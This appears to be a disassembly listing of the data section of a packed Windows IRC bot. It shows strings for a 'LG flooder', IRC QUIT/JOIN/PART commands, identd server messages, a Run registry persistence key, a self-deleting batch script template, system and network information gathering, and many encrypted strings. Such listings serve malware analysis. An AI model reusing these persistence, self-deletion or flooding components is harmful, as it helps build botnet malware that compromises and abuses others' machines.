		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_402D7B+27o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402D7B+8o
		align 4
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o
dword_4139C0	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_402EFD+6Bo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4139F4	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_4030A7+5Eo
		dd 30032074h, 73250234h, 203h
dword_413A14	dd 333131h		; DATA XREF: sub_4030A7:loc_4030BCo
dword_413A18	dd 0D5EFB9A9h, 99D184E3h, 0E391E4DCh, 0F0h, 0 ;	DATA XREF: sub_4033F9+Ao
dword_413A2C	dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o
dword_413A38	dd 2E3031h		; DATA XREF: sub_40324A+48o
dword_413A3C	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_40324A+34o
dword_413A48	dd 2E323731h, 0		; DATA XREF: sub_40324A+20o
dword_413A50	dd 2E373231h, 0		; DATA XREF: sub_40324A+7o
dword_413A58	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_409918+172o
					; sub_40D6E0+1DFo
dword_413A64	dd 313A3Ah		; DATA XREF: sub_40338B+3Co
dword_413A68	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_403EA9+48Fo
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+204o
					; sub_403EA9+2A3o ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_403EA9+198o
					; sub_403EA9+23Fo ...
		align 4
aU_0		db '%u',0               ; DATA XREF: sub_403EA9+16Ao
					; sub_40D6E0+201o
		align 4
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_4044AA:loc_40455Eo
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_4045B7+47o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4045B7+3Ao
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_4045B7+2Do
		align 4
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_4045B7+25o
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_4045B7+Bo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_404639+C5o
					; kkrunchy:00416CF0o ...
		align 4
dword_413B0C	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40485F+7Eo
		dd 732520h
dword_413B24	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40485F+48o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_413B4C	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_40491E+27o
dword_413B5C	dd 58323025h, 0		; DATA XREF: sub_404ACF+1C4o
					; sub_40FD22+Do
dword_413B64	dd 58383025h, 0		; DATA XREF: sub_404ACF+181o
					; sub_407A76+107Co
dword_413B6C	dd 7325h		; DATA XREF: sub_404ACF+15Fo
					; sub_405FF3+2BAo ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_404ACF+79o
		align 4
aHklm		db 'HKLM',0             ; DATA XREF: sub_404ACF+5Do
		align 10h
aHkcu		db 'HKCU',0             ; DATA XREF: sub_404ACF+41o
		align 4
aHkcr		db 'HKCR',0             ; DATA XREF: sub_404ACF+25o
		align 10h
off_413B90	dd offset dword_413DD8	; DATA XREF: sub_4050D1+2Er
					; sub_4050D1+3Co ...
off_413B94	dd offset dword_413DB0	; DATA XREF: sub_4050D1+156r
					; sub_4050D1+167r ...
		dd offset dword_413DA0
		dd offset dword_413DB0
		dd offset dword_413D90
		dd offset dword_413D6C
		dd offset dword_413D5C
		dd offset dword_413D3C
		dd offset dword_413D28
		dd offset dword_413D3C
		dd offset dword_413D14
		dd offset dword_413CFC
		dd offset dword_413CEC
		dd offset dword_413CD8
		dd offset dword_413CC4
		dd offset dword_413CA4
		dd offset dword_413C90
		dd offset dword_413C74
		dd offset dword_413C64
		dd offset dword_413C74
		dd offset dword_413C54
		dd offset dword_413C2C
		dd offset dword_413C18
		dd offset dword_413BF8
		dd 2 dup(0)
dword_413BF8	dd 89FBA793h, 91D195BAh, 0E8B6EACDh, 8CDBC5F0h,	0BEB8BABBh
					; DATA XREF: kkrunchy:00413BECo
		dd 98D296ADh, 8DAFCBh, 0
dword_413C18	dd 8BE0ABB7h, 92CC89B9h, 0E387AF97h, 2 dup(0)
					; DATA XREF: kkrunchy:00413BE8o
dword_413C2C	dd 97E8BE9Fh, 83DF85BCh, 0A691A5D0h, 87D0C1C8h,	9ADFEEACh
					; DATA XREF: kkrunchy:00413BE4o
		dd 96C983A1h, 0E3ACEAC0h, 81C0D6F6h, 0BBh, 0
dword_413C54	dd 88FFA2BFh, 92C683FBh, 2 dup(0) ; DATA XREF: kkrunchy:00413BE0o
dword_413C64	dd 94F7BEADh, 0D9C8959Ch, 9AB2DCh, 0 ; DATA XREF: kkrunchy:00413BD8o
dword_413C74	dd 94F7BE8Dh, 0D7CC83B9h, 0D59DBFEAh, 87DDD3FDh, 8BD9EEB3h
					; DATA XREF: kkrunchy:00413BD4o
					; kkrunchy:00413BDCo
		dd 0A5h, 0
dword_413C90	dd 94F7BEADh, 94C895B9h, 0E387AF97h, 2 dup(0)
					; DATA XREF: kkrunchy:00413BD0o
dword_413CA4	dd 9FF6A789h, 0D7CD91BAh, 0F18BAFF7h, 0C2C2D2EBh, 9EEAA798h
					; DATA XREF: kkrunchy:00413BCCo
		dd 9BD287A2h, 2	dup(0)
dword_413CC4	dd 9EEAA7B8h, 9BD287A2h, 0E387AF97h, 2 dup(0)
					; DATA XREF: kkrunchy:00413BC8o
dword_413CD8	dd 9AF6A789h, 0B69E96B8h, 0F291AFDEh, 2	dup(0)
					; DATA XREF: kkrunchy:00413BC4o
dword_413CEC	dd 9AF6A7A9h, 929096B8h, 0AFC1h, 0 ; DATA XREF:	kkrunchy:00413BC0o
dword_413CFC	dd 9FF6A789h, 0D7CD91BAh, 0EA8FB2FCh, 90CCD2EBh, 2 dup(0)
					; DATA XREF: kkrunchy:00413BBCo
dword_413D14	dd 97E8B6BBh, 85DB94BAh, 0E387AF97h, 2 dup(0)
					; DATA XREF: kkrunchy:00413BB8o
dword_413D28	dd 0B2F6A7A9h, 99D181BAh, 0E387AF97h, 2	dup(0)
					; DATA XREF: kkrunchy:00413BB0o
dword_413D3C	dd 9FF6A789h, 0D7CD91BAh, 0E998A5F5h, 92E880EAh, 98F1A2AEh
					; DATA XREF: kkrunchy:00413BACo
					; kkrunchy:00413BB4o
		dd 98D792B4h, 0D7h, 0
dword_413D5C	dd 94FFA1B2h, 8FDBC8BBh, 0DCh, 0 ; DATA	XREF: kkrunchy:00413BA8o
dword_413D6C	dd 9EF1A29Dh, 0A49E92BBh, 0E389B8DCh, 97FB80F6h, 96F1BAB0h
					; DATA XREF: kkrunchy:00413BA4o
		dd 85EEC6B0h, 0F59AA9D6h, 0F7h,	0
dword_413D90	dd 88EABDBDh, 92C683FBh, 2 dup(0) ; DATA XREF: kkrunchy:00413BA0o
dword_413DA0	dd 88F9BD97h, 8FDBC8A6h, 0DCh, 0 ; DATA	XREF: kkrunchy:00413B98o
dword_413DB0	dd 9AFBA192h, 92EDC6B9h, 0EF8DBFDAh, 0A389D9F0h, 94F0BAABh
					; DATA XREF: kkrunchy:off_413B94o
					; kkrunchy:00413B9Co
		dd 8ECA8FA7h, 0F49A9999h, 87CAC9F2h, 2 dup(0)
dword_413DD8	dd 9AEBBDB2h, 8FDBC8A6h, 0DCh, 0 ; DATA	XREF: kkrunchy:off_413B90o
dword_413DE8	dd 293Ah		; DATA XREF: sub_404D00+8Bo
dword_413DEC	dd 5Ch			; DATA XREF: sub_404D00+22o
					; sub_404DAD+21o ...
dword_413DF0	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_404E31+24o
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_404EDC+1Ao
		align 10h
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_404FEB+99o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_404FEB+42o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_4050D1+132o
					; sub_4052DF+AAo
		align 4
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_4052DF+D3o
					; sub_4052DF+151o
		align 10h
dword_413EC0	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40544F+DDo
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_413EF4	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40544F+C2o
dword_413F00	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_4056AC+68o
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_413F34	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4057ED+85o
		dd 34300320h, 3732502h,	2
dword_413F54	dd 20h			; DATA XREF: sub_4058EE+39o
					; sub_4058EE+6Fo ...
dword_413F58	dd 30h			; DATA XREF: sub_405BDF+85o
					; sub_408E1A+D6o ...
dword_413F5C	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_405C9C+DBo
					; sub_405D8C+AEo
dword_413F68	dd 0D5F6BDB3h, 0D389B6h, 0 ; DATA XREF:	sub_406373+5o
aIQBgEFSsoR	db '©¹ïÕ¡ƒÌ…ØäœééŽË',0 ; DATA XREF: sub_406373+11o
		align 4
		dd 0
dword_413F8C	dd 0D5F6BDB3h, 83B1h, 0	; DATA XREF: sub_406373+1Fo
dword_413F98	dd 96EDAFBAh, 83DB88FBh, 2 dup(0) ; DATA XREF: sub_406373+2Do
dword_413FA8	dd 9CF7A1B9h, 969083B9h, 0DCh, 0 ; DATA	XREF: sub_406373+3Bo
dword_413FB8	dd 9EF6A7B0h, 0D9D095B8h, 0A892A5DAh, 0D5E5h, 0	; DATA XREF: sub_406373+4Bo
off_413FCC	dd offset dword_4140F0	; DATA XREF: sub_4063E4+Er
					; sub_4063E4+18o ...
off_413FD0	dd offset dword_4140BC	; DATA XREF: sub_4063E4+5Br
		dd offset dword_4140A0
		dd offset dword_41405C
		dd offset aLLDifjqsZbG	; "«½¶œ´‹Û„ˆä†ïéLJ±£"
		dd offset dword_413FEC
		dd 2 dup(0)
dword_413FEC	dd 95EFA1BAh, 93DF89B9h, 0EB9EAD97h, 9B87D3E1h,	94F7A6BFh
					; DATA XREF: kkrunchy:00413FE0o
		dd 9AD185FBh, 0EB9EAD96h, 8686D3E1h, 97F6B9B1h,	0D8DA87BAh
		dd 0E898A3CAh, 9286C4E1h, 9AFBBEB1h, 96C7C9A5h,	0D990A5D1h
		dd 87C3C5E6h, 9EF4ABA9h, 83E1D4B1h, 0B7D2FBD4h,	87D1C5AAh
		dd 2 dup(0)
aLLDifjqsZbG	db '«½¶œ´‹Û„ˆä†ïéLJ±£',0 ; DATA XREF: kkrunchy:00413FDCo
		align 4
		dd 0
dword_41405C	dd 95EFA1BAh, 93DF89B9h, 0B7D0F996h, 0D186C6ABh, 0CAACA8EFh
					; DATA XREF: kkrunchy:00413FD8o
		dd 0DA89D4E1h, 0E3CBFA81h, 849194A9h, 98A0E3E7h, 0C293DEE4h
		dd 0BF9BFBD8h, 0DA9CC2B7h, 0D4FDFDEBh, 84DF95B8h, 0A89CA4C0h
		dd 0CCD8E1h, 0
dword_4140A0	dd 95EFA1BAh, 93DF89B9h, 0E596A797h, 8DDACFF6h,	98B6BAB8h
					; DATA XREF: kkrunchy:00413FD4o
		dd 8BBAh, 0
dword_4140BC	dd 9AECAFBAh, 0D8D083FAh, 0A998A3DBh, 90DBD5E7h, 0D4ECA0BBh
					; DATA XREF: kkrunchy:off_413FD0o
		dd 90D18992h, 0E9ABAFD5h, 83CBCCEBh, 88F687ACh,	9BD287A1h
		dd 0E3D1B8DCh, 0C5FCh, 0
dword_4140F0	dd 97F7A1AAh, 0D9CC87B7h, 0E190A5DEh, 8187C5E8h, 0A3B1h
					; DATA XREF: kkrunchy:off_413FCCo
		dd 0
off_414108	dd offset byte_415355	; DATA XREF: sub_405F9A+29o
dword_41410C	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_405FF3+29Ao
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4141FC	dd 73h			; DATA XREF: sub_405FF3+239o
					; sub_40656A+16Eo ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_405FF3+1FBo
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_405FF3+1D1o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_405FF3+19Ao
					; sub_40656A+11Do ...
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_405FF3+191o
					; sub_40656A+118o ...
a2003		db '2003',0             ; DATA XREF: sub_405FF3+16Ao
					; kkrunchy:00416EBCo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_405FF3+15Ao
		align 4
a2000		db '2000',0             ; DATA XREF: sub_405FF3+14Ao
					; kkrunchy:00416EB0o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_405FF3+131o
		align 4
a98		db '98',0               ; DATA XREF: sub_405FF3+121o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_405FF3+111o
		align 4
a95		db '95',0               ; DATA XREF: sub_405FF3+103o
		align 10h
aNoSp		db 'no SP',0            ; DATA XREF: sub_405FF3+E8o
		align 4
a?:					; DATA XREF: sub_405FF3+E3o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4062CF+21o
		align 4
dword_41428C	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_40656A+1C8o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_40656A+15Bo
		align 10h
aAvarage	db 'Avarage',0          ; DATA XREF: sub_40656A+14Fo
aBad		db 'Bad',0              ; DATA XREF: sub_40656A+148o
aLan		db 'LAN',0              ; DATA XREF: sub_40656A:loc_40666Do
aModem		db 'Modem',0            ; DATA XREF: sub_40656A+FCo
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_40656A+AEo
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_40677A+21o
		align 10h
dword_4143A0	dd 5C3A41h		; DATA XREF: sub_4067B2+6r
					; sub_40682C+60r ...
dword_4143A4	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_40682C+1A2o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4143DC	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_40682C+15Ao
dword_4143EC	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_40682C+13Bo
		dd 20424D02h, 65657266h, 0
aUnknown	db 'unknown',0          ; DATA XREF: sub_40682C+FAo
					; sub_40E6A0+36o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_40682C+F3o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_40682C+E9o
		align 4
aRemote		db 'remote',0           ; DATA XREF: sub_40682C+DDo
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_40682C+D1o
		align 4
a_		db '. ',0               ; DATA XREF: sub_40682C+BDo
					; sub_40682C+184o
		align 4
aRemovable	db 'removable',0        ; DATA XREF: sub_40682C+88o
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_40682C+2Bo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_406A08+21o
		align 10h
aThread		db 'thread',0           ; DATA XREF: sub_406BBC+76o
					; sub_406CB2+7Bo
		align 4
aBtg		db 'btg',0              ; DATA XREF: sub_406BBC+71o
dword_41447C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_406BBC+54o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_406EA9+60o
					; sub_406F84+86o
		align 4
dword_4144C4	dd 3430032Dh, 2037802h	; DATA XREF: sub_4070AF+DAo
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4144E4	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_4070AF+9Co
dword_4144F4	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_4070AF+40o
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_407237+14o
		align 4
dword_414548	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_4072FC+260o
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_414574	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_4072FC+203o
		dd 30033A72h, 64250234h, 203h
dword_41459C	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_4072FC+1DCo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_4072FC:loc_407466o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4072FC+6Do
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4072FC+5Bo
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4072FC+53o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_4072FC+35o
		align 10h
unk_414620	db  55h	; U		; DATA XREF: sub_40756C+Do
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_414664	dd 202h			; DATA XREF: sub_40765C+F8o
dword_414668	dd 0A0D7325h, 0		; DATA XREF: sub_40765C+5Fo
dword_414670	dd 3334h		; DATA XREF: sub_40765C+3Ao
dword_414674	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40765C+28o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_4146A0	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_4077A7+45o
		dd 2E020373h, 0
dword_4146BC	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40780C+7Fo
		dd 30032072h, 73250234h, 203h
dword_4146DC	dd 92F7A6A9h, 85DFC8A6h, 0E8D1A4D0h, 0D4E1h, 0 ; DATA XREF: sub_40780C+4Do
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_4079AC+9o
		align 4
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_407A76:loc_408CFFo
		align 10h
dword_414710	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_407A76+1279o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_414734	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_407A76+1232o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
aUsername	db 'username',0         ; DATA XREF: sub_407A76:loc_408B81o
		align 4
aId		db 'id',0               ; DATA XREF: sub_407A76+10EAo
		align 4
dword_4147B8	dd 2ABF0h		; DATA XREF: sub_407A76+10C6r
		align 10h
dword_4147C0	dd 4CD6B30h		; DATA XREF: sub_407A76+10BEr
		dd 2 dup(0)
dword_4147CC	dd 4BB8h		; DATA XREF: sub_407A76:loc_408B2Cr
		dd 0
dword_4147D4	dd 4365310h		; DATA XREF: sub_407A76:loc_408B13r
		align 10h
a9252		db '9252',0             ; DATA XREF: sub_407A76+1067o
		align 4
dword_4147E8	dd 548DB0F1h		; DATA XREF: sub_407A76+105Er
		dd 3 dup(0)
dword_4147F8	dd 1887BC00h		; DATA XREF: sub_407A76+1052r
		dd 2 dup(0)
dword_414804	dd 187F0h		; DATA XREF: sub_407A76+1046r
		dd 0
dword_41480C	dd 28F1BC00h		; DATA XREF: sub_407A76+103Ar
		dd 2 dup(0)
dword_414818	dd 28E90h		; DATA XREF: sub_407A76:loc_408AA4r
		align 10h
dword_414820	dd 27FC4CF0h		; DATA XREF: sub_407A76+1009r
		dd 2 dup(0)
dword_41482C	dd 20E14300h		; DATA XREF: sub_407A76+FFDr
		dd 2 dup(0)
dword_414838	dd 20CD0h		; DATA XREF: sub_407A76:loc_408A67r
		align 10h
dword_414840	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_407A76+FE7o
		dd 63h
dword_414858	dd 0ABB370h		; DATA XREF: sub_407A76:loc_4089A3r
		dd 2 dup(0)
dword_414864	dd 2343003h, 2037325h	; DATA XREF: sub_407A76+F23o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_414880	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_407A76+F0Do
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_407A76+E7Do
					; kkrunchy:00416EB8o
		align 4
dword_4148B8	dd 3A4D8ED6h		; DATA XREF: sub_407A76:loc_4088C0r
		dd 3 dup(0)
dword_4148C8	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_407A76+E40o
		dd 2037325h, 2Eh
dword_4148E4	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_407A76+E2Do
		dd 2037325h, 0
dword_414900	dd 8CD90h		; DATA XREF: sub_407A76:loc_40883Ar
		dd 2 dup(0)
dword_41490C	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_407A76+D90o
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_414940	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_407A76+D71o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_414964	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_407A76+D42o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_414988	dd 3Ch			; DATA XREF: sub_407A76+D35o
					; sub_407A76+D64o ...
dword_41498C	dd 22D90h		; DATA XREF: sub_407A76+CB8r
		dd 0
dword_414994	dd 75FC4CF4h		; DATA XREF: sub_407A76+CACr
		dd 3 dup(0)
dword_4149A4	dd 54FACD0h		; DATA XREF: sub_407A76:loc_408716r
		align 10h
dword_4149B0	dd 23A8h		; DATA XREF: sub_407A76+C81r
		align 8
dword_4149B8	dd 0A6C5A0h		; DATA XREF: sub_407A76+C75r
		dd 2 dup(0)
dword_4149C4	dd 26730h		; DATA XREF: sub_407A76:loc_4086DFr
		dd 0
dword_4149CC	dd 21ABF1A9h		; DATA XREF: sub_407A76:loc_4086CDr
		dd 3 dup(0)
dword_4149DC	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_407A76+C41o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_414A0C	dd 13D450h		; DATA XREF: sub_407A76:loc_40869Fr
		dd 2 dup(0)
dword_414A18	dd 11E3EAF0h		; DATA XREF: sub_407A76+BD4r
		dd 2 dup(0)
dword_414A24	dd 220F0h		; DATA XREF: sub_407A76+BC8r
		dd 0
dword_414A2C	dd 119970h		; DATA XREF: sub_407A76+BBCr
		dd 2 dup(0)
dword_414A38	dd 128170h		; DATA XREF: sub_407A76:loc_408626r
		dd 2 dup(0)
dword_414A44	dd 45444F4Dh, 732520h	; DATA XREF: sub_407A76+BA6o
dword_414A4C	dd 8C770h		; DATA XREF: sub_407A76:loc_408604r
		dd 2 dup(0)
dword_414A58	dd 7FE2F929h		; DATA XREF: sub_407A76:loc_4085EBr
		dd 3 dup(0)
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_407A76+B4Fo
		align 4
aOff		db 'off',0              ; DATA XREF: sub_407A76+B49o
aOn		db 'on',0               ; DATA XREF: sub_407A76+B42o
					; sub_407A76:loc_4085CFo
		align 4
dword_414A84	dd 8FDF90h		; DATA XREF: sub_407A76:loc_4085A1r
		align 10h
dword_414A90	dd 11990h		; DATA XREF: sub_407A76:loc_408585r
		align 8
dword_414A98	dd 2FE1870h		; DATA XREF: sub_407A76:loc_408556r
		dd 2 dup(0)
dword_414AA4	dd 12E90h		; DATA XREF: sub_407A76:loc_408527r
		dd 0
dword_414AAC	dd 0A483B8h		; DATA XREF: sub_407A76:loc_4084F6r
		dd 2 dup(0)
dword_414AB8	dd 54524150h, 732520h	; DATA XREF: sub_407A76+A76o
dword_414AC0	dd 127AF0h		; DATA XREF: sub_407A76:loc_4084D8r
		dd 2 dup(0)
dword_414ACC	dd 166200h		; DATA XREF: sub_407A76:loc_4084B3r
		dd 2 dup(0)
dword_414AD8	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_407A76:loc_4084A4o
					; sub_409918+44Do
dword_414AE4	dd 8DA00h		; DATA XREF: sub_407A76:loc_408465r
		align 10h
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_407A76+9D9o
		align 4
dword_414B04	dd 22FC130h		; DATA XREF: sub_407A76:loc_408442r
		align 10h
dword_414B10	dd 967690h		; DATA XREF: sub_407A76:loc_408423r
		dd 2 dup(0)
dword_414B1C	dd 8FD870h		; DATA XREF: sub_407A76:loc_4083FEr
		dd 2 dup(0)
dword_414B28	dd 6C6E177Ah		; DATA XREF: sub_407A76:loc_4083E2r
		dd 3 dup(0)
dword_414B38	dd 11C1E0F0h		; DATA XREF: sub_407A76:loc_4083C3r
		dd 2 dup(0)
dword_414B44	dd 7D3A3379h		; DATA XREF: sub_407A76:loc_4083AEr
		dd 3 dup(0)
dword_414B54	dd 2606B70h		; DATA XREF: sub_407A76:loc_408392r
		align 10h
dword_414B60	dd 0DD1A0h		; DATA XREF: sub_407A76:loc_40837Dr
		dd 2 dup(0)
